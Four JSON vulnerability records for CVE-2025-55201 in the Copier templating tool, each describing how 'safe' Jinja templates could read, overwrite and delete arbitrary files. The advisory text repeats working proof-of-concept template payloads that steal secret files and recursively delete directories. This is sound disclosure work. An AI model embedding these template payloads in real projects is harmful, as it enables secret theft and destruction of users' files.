{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "9.9.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "copier",
        "purl": "pkg:brew/copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1.0"
            },
            {
              "fixed": "9.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/copier@9.18.2",
        "name": "copier",
        "strategy": "registry",
        "subject_version": "9.18.2"
      }
    ]
  },
  "details": "### Impact\n\nCopier\u0027s current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"stolen secret: {{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().read_text(\u0027utf-8\u0027) }}\" \u003e src/stolen-secret.txt.jinja\n    uvx copier copy src/ dst/\n    cat dst/stolen-secret.txt\n    ```\n\n- Read unknown file(s) via globbing:\n\n    ```shell\n    mkdir secrets/\n    echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n    echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/stolen-secrets.txt.jinja\n    stolen secrets:\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027secrets\u0027).resolve() %}\n    {% for f in parent.glob(\u0027*.txt\u0027) %}\n    {{ f }}: {{ f.read_text(\u0027utf-8\u0027) }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat dst/stolen-secrets.txt\n    ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"{{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\" \u003e src/malicious.txt.jinja\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Overwrite unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n    {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n    {{ f.write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n    {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n    {{ f.unlink() }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown files and directories via tree walking:\n\n    ```shell\n    mkdir data\n    mkdir data/a\n    mkdir data/a/b\n    echo \"foo\" \u003e data/foo.txt\n    echo \"bar\" \u003e data/a/bar.txt\n    echo \"baz\" \u003e data/a/b/baz.txt\n    tree data/\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027data\u0027).resolve() %}\n    {% for root, dirs, files in parent.walk(top_down=False) %}\n    {% for name in files %}\n    {{ (root / name).unlink() }}\n    {% endfor %}\n    {% for name in dirs %}\n    {{ (root / name).rmdir() }}\n    {% endfor %}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    tree data/\n    ```",
  "id": "BREW-copier-CVE-2025-55201",
  "modified": "2026-09-17T19:13:35Z",
  "published": "2026-08-13T16:41:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier\u0027s safe template has arbitrary filesystem read/write access",
  "upstream": [
    "GHSA-3xw7-v6cj-5q8h",
    "CVE-2025-55201",
    "PYSEC-2026-1271"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "copier",
          "vendor": "copier-org",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.9.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Copier library and CLI app for rendering project templates. Prior to 9.9.1, a safe template can currently read and write arbitrary files because Copier exposes a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders the security model w.r.t. filesystem access useless. This vulnerability is fixed in 9.9.1."
    },
    {
      "lang": "es",
      "value": "Librer\u00eda Copier y aplicaci\u00f3n CLI para renderizar plantillas de proyecto. Antes de la versi\u00f3n 9.9.1, una plantilla segura pod\u00eda leer y escribir archivos arbitrarios, ya que Copier expon\u00eda algunos objetos pathlib.Path en el contexto de Jinja con m\u00e9todos de E/S sin restricciones. Esto inutilizaba el modelo de seguridad para el acceso al sistema de archivos. Esta vulnerabilidad se corrigi\u00f3 en la versi\u00f3n 9.9.1."
    }
  ],
  "id": "CVE-2025-55201",
  "lastModified": "2026-06-17T09:41:26.877",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "LOCAL",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.5,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-55201",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-08-18T17:37:40.776729Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-08-18T17:15:29.933",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-18T21:00:23Z",
    "nvd_published_at": "2025-08-18T17:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nCopier\u0027s current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"stolen secret: {{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().read_text(\u0027utf-8\u0027) }}\" \u003e src/stolen-secret.txt.jinja\n    uvx copier copy src/ dst/\n    cat dst/stolen-secret.txt\n    ```\n\n- Read unknown file(s) via globbing:\n\n    ```shell\n    mkdir secrets/\n    echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n    echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/stolen-secrets.txt.jinja\n    stolen secrets:\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027secrets\u0027).resolve() %}\n    {% for f in parent.glob(\u0027*.txt\u0027) %}\n    {{ f }}: {{ f.read_text(\u0027utf-8\u0027) }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat dst/stolen-secrets.txt\n    ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"{{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\" \u003e src/malicious.txt.jinja\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Overwrite unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n    {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n    {{ f.write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n    {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n    {{ f.unlink() }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown files and directories via tree walking:\n\n    ```shell\n    mkdir data\n    mkdir data/a\n    mkdir data/a/b\n    echo \"foo\" \u003e data/foo.txt\n    echo \"bar\" \u003e data/a/bar.txt\n    echo \"baz\" \u003e data/a/b/baz.txt\n    tree data/\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027data\u0027).resolve() %}\n    {% for root, dirs, files in parent.walk(top_down=False) %}\n    {% for name in files %}\n    {{ (root / name).unlink() }}\n    {% endfor %}\n    {% for name in dirs %}\n    {{ (root / name).rmdir() }}\n    {% endfor %}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    tree data/\n    ```",
  "id": "GHSA-3xw7-v6cj-5q8h",
  "modified": "2025-08-18T21:00:23Z",
  "published": "2025-08-18T21:00:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier\u0027s safe template has arbitrary filesystem read/write access"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier",
        "purl": "pkg:pypi/copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0",
        "2.0.1",
        "2.1.0",
        "2.2.1",
        "2.2.2",
        "2.2.3",
        "2.3",
        "2.3.1",
        "2.3.2",
        "2.3.3",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.5.0",
        "2.5.1",
        "3.0.0a3",
        "3.0.0a5",
        "3.0.0a6",
        "3.0.0a7",
        "3.0.0a8",
        "3.0.0b1",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.1.0",
        "3.2.0",
        "4.0.0",
        "4.0.1",
        "4.0.2",
        "4.1.0",
        "5.0.0",
        "5.1.0",
        "6.0.0",
        "6.0.0a0",
        "6.0.0a2",
        "6.0.0a3",
        "6.0.0a4",
        "6.0.0a5",
        "6.0.0a6",
        "6.0.0a7",
        "6.0.0a9",
        "6.0.0b0",
        "6.1.0",
        "6.2.0",
        "7.0.1",
        "7.1.0",
        "7.1.0a0",
        "7.2.0",
        "8.0.0",
        "8.1.0",
        "8.2.0",
        "8.3.0",
        "9.0.1",
        "9.1.0",
        "9.1.1",
        "9.2.0",
        "9.3.0",
        "9.3.1",
        "9.4.0",
        "9.4.1",
        "9.5.0",
        "9.6.0",
        "9.7.0",
        "9.7.1",
        "9.8.0",
        "9.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55201",
    "GHSA-3xw7-v6cj-5q8h"
  ],
  "details": "### Impact\n\nCopier\u0027s current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"stolen secret: {{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().read_text(\u0027utf-8\u0027) }}\" \u003e src/stolen-secret.txt.jinja\n    uvx copier copy src/ dst/\n    cat dst/stolen-secret.txt\n    ```\n\n- Read unknown file(s) via globbing:\n\n    ```shell\n    mkdir secrets/\n    echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n    echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/stolen-secrets.txt.jinja\n    stolen secrets:\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027secrets\u0027).resolve() %}\n    {% for f in parent.glob(\u0027*.txt\u0027) %}\n    {{ f }}: {{ f.read_text(\u0027utf-8\u0027) }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat dst/stolen-secrets.txt\n    ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    echo \"{{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\" \u003e src/malicious.txt.jinja\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Overwrite unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n    {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n    {{ f.write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n    {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n    {{ f.unlink() }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown files and directories via tree walking:\n\n    ```shell\n    mkdir data\n    mkdir data/a\n    mkdir data/a/b\n    echo \"foo\" \u003e data/foo.txt\n    echo \"bar\" \u003e data/a/bar.txt\n    echo \"baz\" \u003e data/a/b/baz.txt\n    tree data/\n    mkdir src/\n    cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027data\u0027).resolve() %}\n    {% for root, dirs, files in parent.walk(top_down=False) %}\n    {% for name in files %}\n    {{ (root / name).unlink() }}\n    {% endfor %}\n    {% for name in dirs %}\n    {{ (root / name).rmdir() }}\n    {% endfor %}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    tree data/\n    ```",
  "id": "PYSEC-2026-1271",
  "modified": "2026-07-07T17:23:57.371366Z",
  "published": "2026-07-07T16:03:01.417882Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/copier"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-3xw7-v6cj-5q8h"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier\u0027s safe template has arbitrary filesystem read/write access"
}